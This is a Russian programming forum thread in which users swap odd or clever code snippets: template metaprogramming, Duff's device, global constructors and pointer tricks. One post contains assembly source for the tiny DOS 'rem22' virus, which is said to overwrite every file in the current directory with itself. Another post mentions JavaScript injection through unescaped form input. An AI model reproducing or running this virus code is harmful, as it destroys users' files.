Прикольные коды

[lexar]

Народ, предлагаю поделиться прикольными кодами.
То есть, чем-то не обычным, что используется не по назначению,
или не очевидным образом.

Для почина.
Не знаю, сталкивались вы или нет с метапрограммированием на темплейтах.
Но этот код из Мэейрса, широкоизвестный в узких кругах,
который вычисляет фактариал на стадии компиляции,
меня приколол:

#include "stdafx.h"
#include <iostream>

template<unsigned n>
struct factorial
{
enum { value = n*factorial<n-1>::value };
};

template<>
struct factorial<0>
{
enum { value = 1 };
};

int _tmain(int argc, _TCHAR* argv[])
{
std::cout << factorial<10>::value << std::endl;
return 0;
}

В примере - факториал от 10.
Проверял на VC++ 2005, работает без проблем .

[Newton]

вещь прикольная, но очень стремная, чтоб использовать в вычислениях ))

ведь если поставишь factorial<100>::value неизвестно что выдаст, и ошибку переполнения скорее всего не отследишь. Одним словом - искусство (красиво но не практично).

[Ull9]

а разве это маэрс? мне кажется я у гуртового это в книге читал.
а вообще вся книжка александреску -Современный дизайн, прикольная.

[Evilsun]

а как вам это :
if (var) {
var = true;
}else{
var=false
}

писали индусы которым платили за код построчно )))

[Пилигрим]

скажу, что они между } и else забыли переход на новую строку поставить

[Evilsun]

скажу, что они между } и else забыли переход на новую строку поставить

это я просто по памяти набирал - но в коде еще была полная реализация синхронизации - в каждом из классов

[lexar]

а как вам это :
if (var) {
var = true;
}else{
var=false
}

писали индусы которым платили за код построчно )))

Это не прикольно, это - тривиально.

прикольно, например, так:

class A
{
. . .
};

A a;

void main()
{
}

и всю работу делает глобальная переменная a, до выполнения main ;-)

[FormatC]

фтему
http://ru.worsethanfailure.com/

[valheru]

Вот это замечательно:
http://perlmonks.org/?node_id=176043

[homo ludens]

http://www.thomasscovell.com/tattoo.php
или просто поиск по 'obfuscated code'.
А вообще когда-то произвела большое впечатление (и чуть не убила желание программировать) правильно написанная программа hello world:
http://ftp.gnu.org/gnu/hello/hello-2.3.tar.gz
документация в PDF - http://www.gnu.org/software/hello/manual/hello.pdf

[Arseny]

А если в при обработке формы не заменяются тэги html, можно ввести сценарий JavaScript, который перенаправляет на другую страницу)

[homo ludens]

Вот такое дерьмо мамонта...

send(to, from, count)
register short *to, *from;
register count;
{
        register n=(count+7)/8;
        switch(count%8){
        case 0:       do{      *to = *from++;
        case 7:               *to = *from++;
        case 6:               *to = *from++;
        case 5:               *to = *from++;
        case 4:               *to = *from++;
        case 3:               *to = *from++;
        case 2:               *to = *from++;
        case 1:               *to = *from++;
                }while(--n>0);
        }

http://en.wikipedia.org/wiki/Duff's_device

Кстати а кто-то применял в С-коде хоть раз конструкции типа 16[a+b] ?

[Broken Sword]

Самый "прикольный" код который я когда-либо встречал - это код самого маленького вируса в мире (rem22).

.model tiny
.code
.startup
start:
pop cx
hel:
xchg ax,bx
db 108h shr 1
db 4eh ; dec si
db 9eh shr 1
db 3ch ;cmp al,xx
db 100h shr 1
db 40h
fmask db '*.*',0
lodsw
cwd
mov dl,al
shl dx,1
int 21h
jmp hel
end

Вы можете не поверить, но сей код: 1. Находит все файлы в текущей директории (FindFirst/FindNext) 2. Открывает их на запись (CreateFile) 3. Пишет в них свой код (WriteFile) 4. Все это в цикле 5. Корректно выходит (terminate)

Позже, у ребят с hugi (compo) встречал подобные техники в довольно больших программах.
До этого считал себя крутым программером на асме.

[homo ludens]

Это не прикольно, это - тривиально.

прикольно, например, так:

class A
{
. . .
};

A a;

void main()
{
}

и всю работу делает глобальная переменная a, до выполнения main ;-)

Особый прикол возникает, когда выясняется что конструктору A по новой спецификации требуется передать аргументы командной строки программы.

Имхо глобальные переменные - выдумки Ктулху.

[lexar]

Самый "прикольный" код который я когда-либо встречал - это код самого маленького вируса в мире (rem22).



Вы можете не поверить, но сей код: 1. Находит все файлы в текущей директории (FindFirst/FindNext) 2. Открывает их на запись (CreateFile) 3. Пишет в них свой код (WriteFile) 4. Все это в цикле 5. Корректно выходит (terminate)

Позже, у ребят с hugi (compo) встречал подобные техники в довольно больших программах.
До этого считал себя крутым программером на асме.

А кто мне объяснит, зачем в этом "самом коротком коде" метка start:?

[lexar]

Особый прикол возникает, когда выясняется что конструктору A по новой спецификации требуется передать аргументы командной строки программы.

Имхо глобальные переменные - выдумки Ктулху.

Т.к. программа уже запущена на момент выполнения конструктора ;-)
аргументы командной строки наверняка тем или иным способом можно
вытащить.

Кстати, отсутствие под рукой функции main, скорее правило,
чем исключение для многих оболочек.
Я что-то не помню, что бы мне хоть раз пришлось докапываться
до main или WiwMain в MFC.

[lexar]

Кстати а кто-то применял в С-коде хоть раз конструкции типа 16[a+b] ?

Я нечто такое делал, когда в DOS напрямую лез в экранную область,
но для удобства ставил на адрес указатель (тем более,
он был разный для разных дисплеев).

В С++ нужно прямое приведение к типу.
В ниже приведенном коде 0x0012ff3c - адрес массива a,
который я подглядел в отладчике.
Программа работает "корректно".

#include "stdafx.h"
#include <iostream>
using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
int a[10];

((int*)0x0012ff3c)[0]=5;

cout << ((int*)0x0012ff3c)[0] << endl;

return 0;
}

Интересно, а пытался ли кто-либо таким макаром привязывать
программу к конкретным настройкам компилятора ?-)

[homo ludens]

А кто мне объяснит, зачем в этом "самом коротком коде" метка start:?

ЕМНИП это точка входа в программу. Давно чисто ассемблерный код не писал, все инлайнами в С больше...

Т.к. программа уже запущена на момент выполнения конструктора ;-)
аргументы командной строки наверняка тем или иным способом можно
вытащить.

Не поверишь, до сих пор не знаю универсального способа.
Т.е. где-то эти argc/argv конечно есть, но вот по стандарту они передаются только main...
А что на момент выполнения конструктора программа может быть не запущена?

Кстати, отсутствие под рукой функции main, скорее правило,
чем исключение для многих оболочек.
Я что-то не помню, что бы мне хоть раз пришлось докапываться
до main или WiwMain в MFC.

В стандарте написано main - значит все остальное от лукавого или майкрософт.
Вот прикинь, что делать если надо юзать две разных оболочки одновременно. И в одной программа стартует с SuperMain а в другой - с HyperMain. А реальный main запрятан в глубине обоих.
Тоже до сих пор не знаю способа обойти такое.
Правда на эти грабли, слава Ктулху еще не наступал - боюсь я этих оболочек ногами писаных...

Я нечто такое делал, когда в DOS напрямую лез в экранную область,

Я имел в виду чуть другое. По стандарту С записи a[5] и 5[a] абсолютно равноправны. Независимо от типа переменных.
Потому для усиления нечитабельности кода можно смело их менять местами.
Вот в С++ не знаю. Прикольно если это там осталось реликтом.

[lexar]

ЕМНИП это точка входа в программу. Давно чисто ассемблерный код не писал, все инлайнами в С больше...

Start: - не точка входа, а лажа.
Если это точка входа - метка должна стоять за оператором end.
Но tiny модель пишется иначе.
Гарантированно - этот код просто не заработает нормально,
не то, что что-то выполнять.
Проверять мне, как и остальным, лень.
Но шарой тянет за версту.

Не поверишь, до сих пор не знаю универсального способа.
Т.е. где-то эти argc/argv конечно есть, но вот по стандарту они передаются только main...
А что на момент выполнения конструктора программа может быть не запущена?

В виндах main вообще нет - используется WinMain с совсем другими параметрами.

Вот прикинь, что делать если надо юзать две разных оболочки одновременно. И в одной программа стартует с SuperMain а в другой - с HyperMain. А реальный main запрятан в глубине обоих.
Тоже до сих пор не знаю способа обойти такое.

Такого просто не бывает - main предпологает исполняемый процесс.
Процесс не может запускаться с двух дырок сразу.

[lexar]

int main(int argc, _TCHAR* argv[])
{
(void)argc;
(void)argv;
//...

return 0;
}

Это не бред сумасшедшего,
это народ побеждал варнинг "неиспользуемая переменная".